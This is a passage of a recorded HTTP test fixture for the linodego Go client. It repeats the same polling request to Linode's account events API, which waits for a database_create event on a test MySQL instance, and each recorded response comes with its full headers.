'{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:34:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:35:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:35:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:35:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:35:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:36:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:36:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:36:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:36:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:37:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:37:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:37:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:37:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:38:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:38:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:38:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 22 Jan 2025 15:38:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2025-01-22T15:20:48"},"entity.id":210765,"entity.type":"database","id":{"+gte":934250283}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 934250283, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "ErikZilber", "entity": {"label": "go-mysql-test-def547m5mw2qwc5", "id": 210765, "type": "database", "url": "/v4/databases/mysql/instances/210765"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "469" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - 